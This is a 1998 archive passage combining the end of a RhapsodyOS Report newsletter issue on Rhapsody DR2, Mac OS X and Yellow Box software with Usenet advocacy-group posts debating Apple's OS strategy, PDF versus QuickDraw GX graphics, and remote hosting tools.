DR2 INSTALLS ON POWERBOOK. Two developers have already reported that they
have successfully installed Rhapsody DR2 for PowerPC on the PowerBook 3400.
Although this is not a supported hardware model, only a few minor tweaks
were required to get it working. One developer reported serious problems
with the Blue Box on the PowerBook 3400 that always resulted in a crash.
There is no battery notification utilities in Rhapsody DR2 so the user will
have to be prepared for sudden power loss. It is recommended that AC power
be used, whenever possible.
HELIOS SERVER RELEASED TO DEVELOPERS. Helios has released the Helios Server
for Rhapsody to developers enclosed in the Rhapsody DR2 mailing. Helios
Server A2 allows a Rhapsody machine to act as an AppleShare file server,
print spooler, OPI server, Postscript font server, ColorSync separation
server, and a PDF color print and workflow server. Administration of the
Helios server on Rhapsody can be done from any Macintosh on the network or
from within the Blue Box.
NEW OPENBASE RELEASE. OpenBase announced the release of OpenBase 5.2 this
week, a new version of its SQL database server for Rhapsody. OpenBase 5.2
offers remote Internet access and administration, replication services,
100% native JDBC access, MacOS clients and many other new features.
OpenBase also announced the availability of the OpenBase 5.2 Relational
Database Server. In related news, P & L Systems has announced that they
will bundle OpenBase Lite with their spreadsheet package, Mesa. A beta
version of OpenBase 5.2 is available for Rhapsody DR2. For more information
on OpenBase 5.2 please visit the OpenBase web site at
<http://www.openbase.com>.
AAA+ SOFTWARE PRESENTS JAVASCRIPT-ENABLED JOY 2.0 FOR RHAPSODY AND MACOS X.
AAA+ Software demonstrated version 2.0 of its developer productivity and
rapid application development tool, Joy, at WWDC this week. Joy 2.0
integrates language features of C, Objective-C, and Java into JavaScript,
allowing developers to use all MacOS X API's (Carbon, Yellow Box, and Java)
from one interpreted language. Developer and third-party libraries are
accessible too, with no "glue code" required. Currently supported target
platforms are Apple Rhapsody, Windows 95/NT, and OpenStep/MachOS. A demo of
Joy is available for download at
<http://www.aaa-plus.com/joy/download.html>.
MISCELLANEOUS:
SOFTMAGIC DISPLAYS NEWSPAPER AUTOMATION SOFTWARE. Softmagic, a Korean
software development company, demonstrated their newspaper publishing
management software called NewsMan running on Yellow Box. NewsMan manages
the creation, article submission, workflow, typesetting, and publishing of
an entire newspaper. The product, now in use by the Korean Herald
newspaper, was developed in two years by two developers. A competitor who
had been developing a Windows based system is now OEMing the Softmagic
solution instead. For more information on NewsMan, please visit
<http://www.softmagic.co.kr/>.
LOOKING FOR MORE? Please see the following sites...
Stepwise WWDC Coverage
<http://www.stepwise.com/SpecialCoverage/WWDC98/>
WWDC Webcasts:
<http://applewwdc98.isocket.com/theater.html>
Presentation Slides:
<http://www.developer.com/calendar/minisites/wwdc98/>
Carbon specification and other materials on Mac OS X:
<http://developer.apple.com/macosx/>
ARTICLES
-----------
Apple Announces Mac OS Software Strategy
press release / Apple Computer
<http://www.apple.com/pr/library/1998/may/11strategy.html>
Apple Exec Talks Mac OS X
Clifford Colby and David Morgenstern / MacWeek
<http://www.zdnet.com/macweek/mw_1219/nw_wwdcexec.html>
Apple's Formula: OS=X
Clifford Colby / MacWeek
<http://www.zdnet.com/macweek/mw_1219/nw_appleosx.html>
Aqua Velva Box
Gary Longsine / Stepwise
<http://www.stepwise.com/Articles/Editorial/AquaVelvaBox.html>
Carbon Brightens the Future of Yellow Box
Andrew Abernathy / Stepwise
<http://www.stepwise.com/SpecialCoverage/WWDC98/CarbonBrightensTheFutureOfYellow
Box.html>
Jorg Brown on Mac OS X
Jorg Brown / Macintouch
<http://www.macintouch.com/m10jorg.html>
Letter from WWDC: Mac OS X and the Developer
Michael Rutman / MacWeek
<http://www8.zdnet.com/macweek/mw_1219/op_wwdcletter.html>
Mac OS X Buoys Developers
Andrea Dudrow and Leander Kahney / MacWeek
<http://www8.zdnet.com/macweek/mw_1219/nw_reaction.html>
Mac OS X and Carbon: A Detailed Overview
Dennis Sellers / MacCentral
<http://www.maccentral.com/news/9805/12.carbon.shtml>
Mac OS X Explained
Stephen Beale / MacWorld
<http://macworld.zdnet.com/features/0598/sb.xplained.html>
MacOS Xplained
MS / MacAddict
<http://www.macaddict.com/news/9805/macosxqa.html>
MacOS X Plain and Simple
Andrew Welch / MacNN
<http://www.macnn.com/reality/archives/051198/MacOSXSimple.shtml>
Meet MacOS X
MS / MacAddict
<http://www.macaddict.com/news/9805/macosx.html>
An Orderly Transition
Andrew Strone / RhapsodyOS.com
<http://www.rhapsodyoS.com/editorial/stone/ST00010.html>
OS X is the Future for Apple
Jim Davis / c|net
<http://www.news.com/News/Item/0,4,21982,00.html?st.ne.fd.gif.d>
Rebirth of Rhapsody
Avi Cherry / RhapNet
<http://www.macnn.com/rhapnet/editorials/avicherry/980515.shtml>
Rhapsody DR2: A Quick Peak
Malcolm Crawford and Don Yacktman / Stepwise
<http://www.macnn.com/rhapnet/editorials/avicherry/980515.shtml>
Rhapsody Is Dead! Long Live MacOS X!
Mark Anthony Collins / MacOpinion
<http://www.macopinion.com/columns/macman/macosx.html>
Rhapsody is Dead, Long Live Rhapsody!
David Every / MacKiDo
<http://www.mackido.com/Opinion/RhapsodyDead.html>
Third Time's the Charm
editorial / MacWeek
<http://www.zdnet.com/macweek/mw_1219/op_editorial.html>
Why Apple will be Another Company Making an Intel Based Box
Marc Rassbach / Right On Mac!
<http://www.netbird.com/rightonmac/doco/0598/appleintel.html>
SOFTWARE RELEASES
------------------
Communigate Pro Server v2.0beta
SMTP/POP/IMAP mail server
Stalker Software <cgatepro@stalker.com>
<ftp://ftp.stalker.com/CommuniGatePro/>
PowerPC, Intel, and Yellow Box for NT/95
Create v5.0
Draw studio and web design
Stone Design Corp <info@stone.com>
<ftp://ftp.cs.unm.edu/pub/stone/>
Power PC, Intel, and Yellow Box for NT/95
DeadLift v0.1
Benchmarking application
John Hornkvist <nhoj@cd.chalmers.se>
<ftp://ftp.next.peak.org/pub/rhapsody/submissions//DeadLift-0.1a-PI-b.tar.gz>
PowerPC and Intel
GIFfun v1.0
Free web animation tool with source
Stone Design Corp <info@stone.com>
<http://www.stone.com/GIFfun/GIFfun_by_Stone_Design.html>
Power PC, Intel, and Yellow Box for NT/95
NX Bench v2.3 beta
Benchmarking application
Philippe Robert <Philippe.Robert@uptime.ch>
<ftp://ftp.next.peak.org/pub/rhapsody/submissions//NXBench-2.3.b.PI.tar.gz>
PowerPC and Intel
OpenBase v5.2
Database server
OpenBase International <info@openbase.com>
<ftp://ftp.openbase.com/pub/RHAPSODY/>
PowerPC and Intel DR2
Resound v3.0
Modular sound editor
Sean Luke <seanl@cs.umd.edu>
<http://www.cs.umd.edu/users/seanl/Resound/>
PowerPC and Intel
INTERNET RESOURCES
------------------
[NOTE: Removed from the USENET version to stay under the 32k limit.]
ABOUT THE RHAPSODY REPORT
--------------------------
The RhapsodyOS Report is a free weekly summary of Rhapsody, MacOS X, and
Yellow Box news, software releases, rumors, Internet resources and related
topics compiled by Raven Zachary <raven@rinzai.com>.
The RhapsodyOS Report. Copyright 1998, Raven Zachary. All rights reserved.
As a subscriber to this list, you will recieve The RhapsodyOS Report once a
week. For those of you with filtering email programs, the sender (From:)
will be raven@rinzai.com.
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PROBLEMS WITH UNSUBSCRIBING: If you have followed the above instructions
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CONTRIBUTIONS: Please send all contributions to <raven@rinzai.com>.
Contributors will be given credit for their information unless anonymity is
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information will be listed in The Rumor Critic section.
REPRINT REQUESTS: To receive reprint permission, please contact The
RhapsodyOS Report <raven@rinzai.com>. Please feel free to forward full
issues on to friends and associates.
DISCLAIMER: The RhapsodyOS Report is the product of Raven Zachary
<raven@rinzai.com> and The RhapsodyOS Report Editorial Board, although the
copyright remains the ownership of Raven Zachary. Items are reprinted to
and from RhapsodyOS.com with permission. The RhapsodyOS Report does not
guarantee the accuracy of information published. The RhapsodyOS Report does
not express or imply endorsement of any businesses or services mentioned in
this publication. The RhapsodyOS Report comments are indicated as [NOTE: ].
Publication, product, and company names may be registered trademarks of
their companies. All trademarks used in The RhapsodyOS Report are for
informational purposes only and to the benefit of the trademark owner, with
no intention of infringing on that trademark.
CREDITS: Mara Collins and Andrew Stone for editing services. The Nerve
Internet Service for providing our mailing list. RhapsodyOS.com for
continued support. Everyone out there attending WWDC who was kind enough to
post reports to web sites, listservs, and directly to us.
BACK ISSUES: Current and Back Issues of The RhapsodyOS Report are available
online at <http://www.rhapsodyos.com/report/>.
NEXT ISSUE: Issue #17 of The RhapsodyOS Report will be published on Sunday,
24 May 1998.
--
raven@rinzai.commie? Of course not.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 01:41:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B185424A-1A4C7@206.165.43.155>
References: <1d96u38.2h47s3h3cuwbN@sextans133.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Mike Paquette <mpaque@wco.com> said:
>Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
>
>> Wow, it's not like we've never seen _that_ happen before on Usenet.
>> So everyone should be allowed to do that except for Apple employees?
>> (Remember, he isn't speaking in an official capacity.)
>
>Oh, I imagine by now he's put together some cleverly edited snippets,
>surrounded them with his own slanted commentary, and mailed the result
>to GX-Talk, as well as assorted employees and managers where I work that
>he feels might be able to fire me.
>
>It should provide me with some minor office diversion and amusement
>during the next week.
DO you *really* think that I do that kind of thing? I'm more interested in
truth than in such silliness.
I *have* cross-posted comments from newsgroups to GX and solicited
*comments* in return. Perhaps you've mistaken that for some kind of agenda?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 01:44:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18542DE-1C771@206.165.43.155>
References: <jdoherty-1705982244570001@aus-tx19-25.ix.netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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John Doherty <jdoherty@ix.netcom.com> said:
>In article <B1833813-6DD19@206.165.43.27>, "Lawson English"
><english@primenet.com> wrote:
>
>| if you use a single chinese font character in an Acrobat file, the
>| entire 6 MB font is going to be included in the Acrobat file
>
>There's no reason the PDF couldn't include a subsetted font with the
>single required character.
>
>It's up to the PDF producer to create and embed the subsetted font,
>that's all. Distiller can, and I think ghostscript can, too.
>
>The subsetted font has had at least one character stripped out, its
>name mangled, and its encoding table rewritten, but is otherwise a
>perfectly normal font.
>
Yer right. 'Twas a silly [aka "stupid"] statement in the first place, since
that is how GX does things when it produces PS files. However, parsing PS
files to optimize font usage doesn't look to be too pleasant. Can one parse
an existing PDF file easily to do this kind of thing? Will Apple
automatically do it for you, I wonder?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Mon, 18 May 1998 20:36:21 +1200
Organization: Geek Central
Message-ID: <ldo-1805982036220001@a20.hn3.wave.co.nz>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu>
In article <pxpst2-1405981523500001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter) wrote:
>Just out of curiousity, How vaporously close to release is NT5?
Still close to a year away, I believe.
>Also, Since NT 5 is reported to have more than 14 million lines of NEW
>code, how fast do you think it will be adopted?
In great haste and urgency. You see, NT 4 is not Year-2000-compliant.
Which means there is only a matter of months between the release of NT 5
and the moment when NT 4 stops working...
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 10:29:58 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et3Jtz.CA7@micmac.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <355DCDCE.20C5@earthlink.net>
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Cc: skellener@earthlink.net
This was written in comp.sys.next.advocacy (<355DCDCE.20C5@earthlink.net>)
by Steve Kellener:
> NeXT hadn't made hardware for years. I will bet that some NeXTers will
> be writing small apps and "themes" to bring back the NeXT look and feel
> from the past. Atleast I hope so.
No problem! I predict this will be the first set of apps to meet success in
the shareware/freeware arena...
Curiously enough that success will be great among the Mac people too.
Remember around 89!
> Since I own a Mac, I am still very happy that Apple purchsed NeXT. I
> had often wished NeXTSTEP would run on a Mac. Well, now it will,
> although in a somewhat altered form.
>
Maybe not that much...
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone remember a certain NeXT video tape?
Date: Sun, 17 May 1998 10:36:50 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et3K5E.CD2@micmac.com>
References: <6jjnrv$n53$8@news.idiom.com> <xRs71.1765$Fi2.1207226@news.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
This was written in comp.sys.next.advocacy
(<xRs71.1765$Fi2.1207226@news.rdc1.sdca.home.com>) by Rex Riley:
> Do a Corporate Challenge. A week in some INSANELY great place like
FIGI,
> somewhere with Internet access and great diversions. iCAST the event. A
my
> boys against your boys. Microsoft shops et. al. invited. Scaled up the
> contest should build the best OPEN SOURCE solution for Netscape's browser
or
> whatever is the OPEN SOURCE Du Jour. The winner takes away bragging
rights...
> Rah rah! The project goes into the public domain... PEOPLE win. Take
all
> comers C++, APL, VB, Obj-C, Java, etc...
>
> -r
>
> That would demonstrate "who" can deliver the best, fastest with "what".
>
>
Good idea! But would *everybody* take the risk?
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: Sun, 17 May 1998 10:38:23 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et3K7z.CDs@micmac.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
<6jl9if$jfl$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
This was written in comp.sys.next.advocacy
(<6jl9if$jfl$1@crib.bevc.blacksburg.va.us>) by Nathan Urban:
> > Is this for licence reasons or did Apple find a much better solution?
>
> License reasons. They currently don't have a replacement solution
> for NSHosting.
>
Too bad!
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Sun, 17 May 1998 10:42:51 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et3KFF.CGG@micmac.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355CC5FD.CF057A71@nstar.net>
<355DD280.7FCE9175@trilithon.com>
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Cc: henry@trilithon.com
This was written in
comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
(<355DD280.7FCE9175@trilithon.com>) by Henry McGilton:
> So, let's lobby for remote hosting.
Maybe Timbuctu owners already made lobbying...
mc
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo
Date: Mon, 18 May 1998 20:57:55 +1200
Organization: Geek Central
Message-ID: <ldo-1805982057550001@a20.hn3.wave.co.nz>
References: <B1812FEC-45CCB@206.165.43.157>
In article <B1812FEC-45CCB@206.165.43.157>, "Lawson English"
<english@primenet.com> wrote:
> [Bruce Hoult wrote:]
>No explicit port parameter is required with GX
>-it's built into each graphical shape as part of the transform object.
Actually, GX is a bit more sophisticated than that. It has viewports that
map through a viewgroup to view devices. You can have a hierarchy of
viewports, for easy embedding of views-within-views. Also you can have
offscreen viewgroups, which means that multiple-screen support works
offscreen as well. Plus the fact that a single transform can draw into
multiple viewports with a single draw call.
>> - other QD globals (forecolor etc) are per thread
>ALL globals in GX are per shape-object.
Not true. There are "default" GX objects which are part of every client
context.
By the way, GX seems to have been designed with multi-threading in mind.
When I asked Tom Dowdy about this, he admitted as much, but said that it
wasn't actually working in the current version.
>> - floating point coordinates
>
>GX is fixed point (it's a religious arguement as to which is better on the
>PPC, but on a 68K Macintosh there is no arguement whatsoever...
I'm not so sure that it IS religious. I'm pretty sure I saw a comment
somewhere from a programmer who'd actually tried it out, and was surprised
to discover that fixed point still had a performance edge on a PowerPC.
And remember, this was before the G3 machines, which don't have as good
floating-point performance as the 604e.
>> - transparency and alpha channels
>
>GX has these, although GX's support for alpha channels doesn't appear to be
>as robust as NeXTstep's Display PostScript
That surprises me. GX has _four_ separate transfer modes that make use of
alpha channels ("over", "atop", "exclude" and "fade"). I didn't think Adobe
had enough grasp of transfer modes to be able to match that functionality,
let alone better it...
>> - 16 bits per component/64 bit pixels
>
>As with GX
No, GX doesn't support drawing into bitmaps with more than 8 bits per
component. It would be nice to see this improved.
>> - native picture file and clipboard format for both yellow and Carbon is
>PDF
>
>PDF is primitive in many respects compared to what we have with GX
>printing, or even GX flattened objects.
Yes. PDF is still limited by the PostScript graphics model, in particular
by its poor handling of text.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 02:09:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18548DD-3302F@206.165.43.155>
References: <6joc4v$qhu$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.next.advocacy
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>> By the way, there are lots of perfectly good Postscript files that no
>> "distiller" made to date can correctly translate to PDF. That does not
>mean
>> it is impossible, but it must be hard. WYSIWYG is gone, gone, gone ...
Oh
>> how I hall miss it.
>
>Nor do I understand how "Display PDF" is not WYSIWYG, regardless of
>whether the printer is PostScript or not.
The PDF model is a subset of PS, no? While it is true that any PDF file can
be translated to PS, the converse wouldn't be true, any more than it would
be possible to convert any PS file into GX. PDF and GX-like picture-shapes
are not programming languages and can't always do what PS can do.
GX-style pictures and PDF should be able to duplicate each other, BUT the
GX-like picture-shape is more versatile in that you (Apple) can extend what
it can display. E.G., non-opaque, overlapping graphics/text. The PDF format
isn't really extensible beyond the PS primitives, AFAIK. You may be able to
create non-overlapping opaque shapes and simulate what GX (or whatever) can
do, but you can no longer edit it.
The concept of using PDF as the intermediate graphics format (which is
apparently what is planned) is very limiting. An intermediate format should
be able to do everything that the screen graphics engine can do. Even
NeXT-DPS can do things that PDF can't do without loss of
device-independence and/or editability, and unless you extend the PDF
format in non-standard ways, you can't store an editable enhanced QuickDraw
graphics image in PDF if it contains overlapping transparencies or other
non-PS graphics.
And if you're going to extend PDF in non-standard ways, why bother? Keep
the image in a simpler, more easily edited format and convert it to
whatever you need, when you need it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: VNC?
Date: Mon, 18 May 1998 12:02:56 +0200
Organization: University of Bonn, Germany
Message-ID: <1d981a2.1qnzk00xe711gN@rhrz-isdn3-p10.rhrz.uni-bonn.de>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30> <6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net>
Hallo Frank!
frank@this.NO_SPAM.net (Frank M. Siegert) wrote on
comp.sys.next.advocacy:
> In <6ji5h4$s4k@sheepskin.cs.indiana.edu> Yufeng Tsui wrote:
> > Killing NXHosting is, IMHO, a bad thing. You no longer get it for free.
> > Maybe someone can write anapplication to do this, like screencast or
> > PC Anywhere. And then you can manage all your stuff remotely. Maybe
> > someone third party has already started this???
>
> VNC (see http://www.orl.co.uk/vnc ) could be ported if enough interest is
> there.
The Java Client should at least run on Rhapsody and they have a FreeBSD
"port" (for X).
This is certainly not as nice as HSHost, because it is like the current
BlueBox: Remote computer in a window, but it's definitly an open, cross
platform spec, which is a big win.
HSHosting does not help me when I have a Unix machine in front of me to
administer my Rhapsody Server (via the OS admin tools)
Hey, they even have a WinCE-Client along with generic Java.
I dunno, if Rhapsody/MacOS X supports/will support "virtual monitors" or
something like that, to simulate a second users GUI though.
Gruss,
Dirk
--
No RISC - No fun
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 09:53:10 GMT
Organization: P & L Systems
Message-ID: <6jp0e6$1cc$82@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
<3559CD42.9033EE77@milestonerdl.com> <6jh41d$1cc$41@ironhorse.plsys.co.uk>
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<355F5E08.D4E84DA9@alumni.caltech.edu>
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In <355F5E08.D4E84DA9@alumni.caltech.edu> William Edward Woody wrote:
> mmalcolm crawford wrote:
> > > Where is NT 5.X and any future beyond that?
> > >
> > Good question. Ask Micro$oft. They haven't told us yet.
>
> While not receiving the same sort of press as Windows 98, the
> Windows NT 5.0 beta was seeded to MSDN Pro subscribers in
> January. (I've got the WinNT 5.0 beta disk sitting right
> here on my desk, though I haven't installed it yet.)
>
Yes, I know that. We have it here too.
I'm not interested in the beta, though, I want to know when it will actually
ship.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 09:59:55 GMT
Organization: P & L Systems
Message-ID: <6jp0qr$1cc$83@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk>
<B17D23E3-9037@206.165.43.13> <3557DDE0.4333CCA0@trilithon.com>
<1d8yqsc.1875mjiash37cN@desktop.tom-e.private> <B17FA88B-D17A@206.165.43.138>
<tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99>
<6ji1qc$1cc$47@ironhorse.plsys.co.uk> <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com>
<B1832253-1C09B@206.165.43.27> <nagleEt2BBL.Irx@netcom.com>
<B1833813-6DD19@206.165.43.27> <djboccip-1605981849370001@tnt2-98.hiwaay.net>
<6jl9c1$je2$1@crib.bevc.blacksburg.va.us> <1d954yz.ds1gve1l8datsN@carina37.wco.com>
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In <1d96trp.p2jyba1tkrot4N@sextans133.wco.com> Mike Paquette wrote:
> It's a sort of a hobby, you see. Demonic exorcisms and whatnot...
> OUT! OUT! I COMMAND YOU DEMONS OF STUPIDITY TO BE GONE!
>
> USENET is now safe...
>
Well, I'mm still here, so I guess that means thaaaaaaaaaaaaaaaaa
whaaaaaaarrrrrg
ggggggggggggggggggggggg
hhhhhhhhhh
hhhh
hh
hh
h
h
h
!
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 09:58:43 GMT
Organization: the unstoppable code machine
Message-ID: <6jp0oj$jdm$1@leonie.object-factory.com>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114>
<355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104>
<see-below-1505982202520001@209.24.241.97> <6jk95l$b0m@ragnarok.en.uunet.de>
<199805161935261708140@sdn-ts-002txhousp06.dialsprint.net> <6jmsmj$199@ragnarok.en.uunet.de>
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Mark,
please don't just killfile me as the ranting lunatic that I play on
Usenet. I can actually be a reasonable person, too. ;)
> Ehh? Which troops would that be? This trooper just went through a couple
> of months worth of 80 hour weeks.
Yes, but why was that necessary in the first place? Why is there such a
disproportionally small amount of people working on Rhapsody, effectively
laying the ground work of Apple's future? (I know Brookes' law).
It shouldn't be necessary for either you or anybody else - no matter
how important or good they are - to work more than, say, 60 hours/week
max (exceptions like SJ notwithstanding). It is IMHO a certain sign that
a company's process as a 'whole' is unbalanced, and for something as
delicate as operating system and hardware technology, that's just not
very reassuring.
I'm not trying to belittle your work - far from it. I fully understand
that you and the Quicktime team are doing great and very important work,
just like Mike Paquette or anybody else on the Rhapsody team. Also,
please believe me when I say I know what it means to work 80h/week for
an extended period of time without trying to compromise the quality of
the result. OTOH you certainly cannot deny that there still seem to be
people at Apple who are trying to keep the company firmly rooted in its
past, doing their own 'thing' - if that has changed since the last month
or so, great. From all I know, the UI team has high fluctuation and seems
unable to come up with fresh ideas, or even with an icon design that
doesn't make me feel like I'm back in kindergarten (just look at the
brown little 'potato head' icons in RDR2..blech).
For a place like Apple, that's not very reassuing either.
> forced on Mac developers at gun point. Choice is a good thing. MacOS X has
> more of them.
As it seems, it won't run on x86. More choice?
Regards
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 10:03:46 GMT
Organization: P & L Systems
Message-ID: <6jp122$1cc$84@ironhorse.plsys.co.uk>
References: <kwaltd-ya02408000R1605981229210001@enews.newsguy.com> <B1834FED-9CF5@206.165.43.149>
<6jn0s5$1cc$61@ironhorse.plsys.co.uk> <rex-1705981954280001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-1705981954280001@192.168.0.3> Eric King wrote:
> In article <6jn0s5$1cc$61@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> :PGML
> :
> :Which is likely also to be supported.
>
> From a purely theoretical standpoint, PGML could be okay. But I don't
> think it's anywhere close to being ready for prime time.
>
And when is MacOS X due for release when..?
> IMO, Apple needs an extensible media container format that *they*
> control. Otherwise developers and users are going to be frustrated by what
> they can and can't do with the format. PGML is probably going to be a
> pretty open spec, so Apple would be 'safe' using it, but PDF, that's just
> dumb. *Nobody* was asking to use it as a clipboard format. Output format
> yes, clipboard format *no*. I hope Apple reconsiders and actually creates
> a *rich* format that is easily editable and allows apps to exchange data
> more easily.
>
Such as...?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 10:27:10 GMT
Organization: P & L Systems
Message-ID: <6jp2du$1cc$85@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
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Cc: mark@milestonerdl.com
In <355F2A75.9AB927B7@milestonerdl.com> M Rassbach wrote:
> Good. Now I've found this Mike Post. I have ASKED for a quicktime, or at
least
> a session name so I can go get the tape.
>
> Now, is someone willing to identify WHERE and WHEN Ali spoke?
>
> Or, are you going to continue being a dick Crawford?
>
Presumably you mean am I going to stop being a dick, since at the moment I'm
doing all your detective work for you.
Why do you need a tape -- why is Mike's answer insufficient. He's capable of
speaking for himself.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 18 May 1998 10:29:28 GMT
Organization: P & L Systems
Message-ID: <6jp2i8$1cc$86@ironhorse.plsys.co.uk>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net>
<3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <355EDB94.4A38F0A9@milestonerdl.com>
<6jn5tq$pfg$1@crib.bevc.blacksburg.va.us> <355F2911.CD169466@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355F2911.CD169466@milestonerdl.com> M Rassbach wrote:
> > > Ouch. That's about as close as it gets, save a press release that
says
> > > otherwise.Do you remember any other points from that session? About
future
> > > (or lack thereof) for the YB under windows?
> >
> > What a hypocrite!
>
> Not At all.
>
Tosh. In this very thread you've told someone else to go buy the tapes -- do
it yourself.
> > You're willing to take Akira's word
>
> Not at All. Akira has mentioned a session where his question can be heard,
and
